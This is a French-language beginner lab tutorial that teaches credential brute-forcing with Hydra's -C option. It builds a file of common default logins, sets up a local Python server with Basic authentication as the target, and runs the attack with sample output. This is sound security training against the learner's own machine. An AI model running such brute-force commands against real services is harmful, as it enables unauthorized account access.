Attaque avec identifiants séparés par deux-points

HydraBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à effectuer une attaque basée sur les identifiants à l'aide d'Hydra. Le laboratoire se concentre sur l'utilisation d'un fichier de crédentiels séparés par des deux-points contenant des combinaisons d'identifiant/mot de passe pour casser les identifiants de connexion d'un service cible.

Vous commencerez par créer un fichier credentials.txt avec des paires identifiant:mot de passe, à l'aide d'un éditeur de texte comme nano. Ensuite, vous apprendrez à charger ce fichier dans Hydra en utilisant l'option -C, permettant à Hydra d'essayer efficacement plusieurs combinaisons de connexion contre la cible. Enfin, vous vérifierez que la sortie correspond aux identifiants utilisés dans l'attaque.

Créer un fichier de crédentiels login:mot de passe

Dans cette étape, vous allez créer un fichier contenant des noms d'utilisateur et des mots de passe, une combinaison par ligne, séparés par un deux-points. Ce fichier sera utilisé ultérieurement avec Hydra pour tenter de casser les identifiants de connexion d'un service cible.

Commençons par comprendre le format requis pour le fichier de crédentiels. Chaque ligne doit contenir un nom d'utilisateur, un deux-points (:) et le mot de passe correspondant. Par exemple :

username1:password1
username2:password2

Maintenant, créons le fichier. Nous utiliserons l'éditeur de texte nano, simple et facile à utiliser. Ouvrez votre terminal et accédez au répertoire ~/project si ce n'est pas déjà fait :

cd ~/project
  1. Ouvrez un nouveau fichier nommé credentials.txt dans le répertoire ~/project à l'aide de nano :

    nano credentials.txt
  2. Dans l'éditeur nano, ajoutez les combinaisons nom d'utilisateur/mot de passe suivantes. Ce sont les identifiants que Hydra tentera d'utiliser.

    admin:password
    user1:123456
    test:test
    root:toor
  3. Pour enregistrer le fichier, appuyez sur Ctrl+O (Enregistrer). Nano vous demandera le nom du fichier. Appuyez simplement sur Entrée pour accepter le nom par défaut (credentials.txt).

  4. Pour quitter nano, appuyez sur Ctrl+X.

Vérifions maintenant que le fichier a bien été créé et contient le contenu correct. Utilisez la commande cat pour afficher le contenu du fichier credentials.txt :

cat credentials.txt

Vous devriez voir les combinaisons nom d'utilisateur/mot de passe que vous avez saisies précédemment :

admin:password
user1:123456
test:test
root:toor

Vous avez maintenant créé avec succès un fichier de crédentiels pouvant être utilisé avec Hydra. Ce fichier contient une liste de noms d'utilisateurs et de mots de passe potentiels que Hydra tentera sur le service cible.

Configurer un serveur HTTP de base avec authentification

Dans cette étape, vous allez configurer un serveur HTTP simple nécessitant une authentification de base. Ce serveur servira de cible pour l'attaque Hydra à l'étape suivante. Nous utiliserons un script Python pour cela.

Tout d'abord, assurez-vous d'être dans le répertoire ~/project :

cd ~/project

Maintenant, créez un nouveau fichier Python nommé webserver.py à l'aide de nano :

nano webserver.py

Collez le code Python suivant dans l'éditeur :

import http.server
import socketserver
import base64

PORT = 8000

class AuthHandler(http.server.SimpleHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="My Realm"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        auth = self.headers.get('Authorization')
        if auth == None:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Required")
        elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password codé en base64
            http.server.SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Failed")

Handler = AuthHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Ce script crée un serveur HTTP de base sur le port 8000. Il nécessite une authentification de base. Le nom d'utilisateur correct est admin et le mot de passe est password. La chaîne codée en base64 YWRtaW46cGFzc3dvcmQ= représente admin:password.

Enregistrez le fichier (Ctrl+O, puis Entrée) et quittez nano (Ctrl+X).

Maintenant, exécutez le script Python pour démarrer le serveur HTTP. Nous allons l'exécuter en arrière-plan afin de pouvoir continuer à utiliser le terminal :

nohup python3 webserver.py > /dev/null 2>&1 &

La commande nohup permet au processus de continuer à s'exécuter même si vous fermez le terminal. > /dev/null 2>&1 redirige la sortie standard et l'erreur standard vers /dev/null, empêchant la sortie du serveur d'encombrer votre terminal. Le & à la fin exécute la commande en arrière-plan.

Pour confirmer que le serveur est en cours d'exécution, vous pouvez vérifier si un processus écoute sur le port 8000 :

ss -ltn | grep ':8000'

Vous devriez voir une sortie similaire à ceci, indiquant qu'un processus écoute sur le port 8000 :

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*

Gardez ce serveur en cours d'exécution pour l'étape suivante.

Attaquer HTTP avec un fichier de crédentiels à l'aide de Hydra

Dans cette étape, vous utiliserez Hydra pour attaquer le service HTTP que vous avez configuré à l'étape précédente. Vous utiliserez l'option -C pour charger le fichier de crédentiels que vous avez créé à l'étape 1, permettant à Hydra d'essayer efficacement plusieurs combinaisons de nom d'utilisateur/mot de passe.

Assurez-vous d'être dans le répertoire ~/project :

cd ~/project

Maintenant, exécutez la commande Hydra suivante pour attaquer le serveur HTTP exécuté sur 127.0.0.1 sur le port 8000 :

hydra -C credentials.txt 127.0.0.1 http-get / -s 8000 -vV

Décomposons cette commande :

  • hydra : La commande pour exécuter l'outil Hydra.
  • -C credentials.txt : Cette option spécifie le chemin du fichier de crédentiels que vous avez créé. Hydra lira les combinaisons nom d'utilisateur/mot de passe à partir de ce fichier.
  • 127.0.0.1 : L'adresse IP cible. Il s'agit de l'adresse de boucle locale, faisant référence à votre machine locale.
  • http-get / : Spécifie le service à attaquer (HTTP) et le chemin de la requête (/). http-get est un module qui effectue des requêtes HTTP GET.
  • -s 8000 : Spécifie le numéro de port du service cible. Notre serveur HTTP est exécuté sur le port 8000.
  • -vV : Active le mode verbeux, qui affiche les tentatives de connexion et les crédentiels trouvés.

Hydra tentera maintenant de forcer la connexion au serveur HTTP en utilisant les combinaisons nom d'utilisateur/mot de passe du fichier credentials.txt. Il essaiera chaque combinaison sur le service cible.

Vous devriez voir la sortie de Hydra indiquant qu'il essaie différentes combinaisons de nom d'utilisateur/mot de passe. Si Hydra trouve les bonnes informations d'identification (admin:password), il les affichera dans la sortie.

Exemple de sortie (attaque réussie) :

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Veuillez ne pas utiliser dans les organisations militaires ou de services secrets, ou à des fins illégales (ceci n'est pas contraignant, ces *** ignorent les lois et l'éthique de toute façon).

Hydra (https://github.com/vanhauser-thc/thc-hydra) démarrage à ...
[DATA] max 16 tâches par 1 serveur, au total 16 tâches, 4 essais de connexion (l:4/p:1), ~1 essai par tâche
[DATA] attaque http-gets://127.0.0.1:8000/
[VERBOSE] Résolution des adresses... [VERBOSE] résolution terminée
[ATTEMPT] cible 127.0.0.1 - login "admin" - mot de passe "password" - 1 sur 4 [enfant 0] (0/0)
[ATTEMPT] cible 127.0.0.1 - login "user1" - mot de passe "123456" - 2 sur 4 [enfant 1] (0/0)
[ATTEMPT] cible 127.0.0.1 - login "test" - mot de passe "test" - 3 sur 4 [enfant 2] (0/0)
[ATTEMPT] cible 127.0.0.1 - login "root" - mot de passe "toor" - 4 sur 4 [enfant 3] (0/0)
[8000][http-get] hôte : 127.0.0.1  login : admin  mot de passe : password
[STATUS] attaque terminée pour 127.0.0.1 (attente que les enfants terminent les tests)
1 sur 1 cible terminée avec succès, 1 mot de passe valide trouvé
Hydra (https://github.com/vanhauser-thc/thc-hydra) terminé à ...

Si l'attaque est réussie, Hydra affichera le nom d'utilisateur et le mot de passe corrects.

Confirmer les identifiants trouvés

Dans cette étape, vous allez confirmer que les identifiants trouvés par Hydra lors de l'attaque de l'étape précédente correspondent aux identifiants attendus dans le fichier credentials.txt et le script webserver.py. Cela vérifie que Hydra a correctement identifié la combinaison de connexion valide.

À l'étape précédente, la sortie de Hydra devrait avoir affiché la ligne suivante (ou similaire) :

[8000][http-get] host: 127.0.0.1   login: admin   password: password

Cette ligne indique que Hydra a correctement trouvé le nom d'utilisateur admin et le mot de passe password pour le service cible.

Maintenant, vérifions que ces identifiants sont bien présents dans les fichiers que nous avons créés.

  1. Vérifier les identifiants dans credentials.txt :

    Utilisez la commande cat pour afficher le contenu du fichier credentials.txt :

    cat credentials.txt

    Confirmez que le fichier contient la ligne admin:password. Il s'agit de l'une des combinaisons que Hydra a essayées.

  2. Vérifier les identifiants dans webserver.py :

    Utilisez la commande cat pour afficher le contenu du fichier webserver.py :

    cat webserver.py

    Recherchez la ligne qui vérifie l'en-tête d'authentification codé en base64. Vous devriez trouver une ligne similaire à ceci :

    elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password codé en base64

    La chaîne YWRtaW46cGFzc3dvcmQ= est le codage base64 de admin:password. Cela confirme que le serveur est configuré pour accepter admin comme nom d'utilisateur et password comme mot de passe.

En vérifiant que les identifiants trouvés par Hydra correspondent aux identifiants configurés dans le script du serveur et présents dans votre fichier de crédentiels, vous confirmez le succès de l'attaque par force brute utilisant l'option -C.

Enfin, arrêtons le processus de serveur HTTP en arrière-plan. Vous pouvez trouver l'ID de processus (PID) en utilisant à nouveau la commande ss :

ss -ltn | grep ':8000'

La sortie affichera le PID dans la deuxième colonne. Par exemple :

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*    users:(("python3",pid=12345,fd=3))

Dans cet exemple, le PID est 12345. Utilisez la commande kill pour arrêter le processus, en remplaçant [PID] par le PID réel que vous avez trouvé :

kill [PID]

Par exemple, si le PID était 12345 :

kill 12345

Vous pouvez vérifier que le serveur s'est arrêté en exécutant à nouveau ss -ltn | grep ':8000'. Il ne devrait y avoir aucune sortie.

Résumé

Dans ce laboratoire, vous avez appris à créer un fichier de crédentiels nommé credentials.txt contenant des combinaisons de nom d'utilisateur et de mot de passe séparées par des deux-points, chaque combinaison sur une nouvelle ligne. Ce fichier est stocké dans le répertoire ~/project et préparé pour une utilisation avec Hydra.

Vous avez également appris à configurer un serveur HTTP de base avec authentification à l'aide d'un script Python, qui a servi de cible à l'attaque.

Enfin, vous avez utilisé Hydra avec l'option -C pour charger le fichier de crédentiels et effectuer une attaque par force brute contre le serveur HTTP, démontrant ainsi comment tester efficacement plusieurs combinaisons de connexion. Vous avez confirmé que les identifiants trouvés correspondaient aux valeurs attendues, vérifiant ainsi le succès de l'attaque.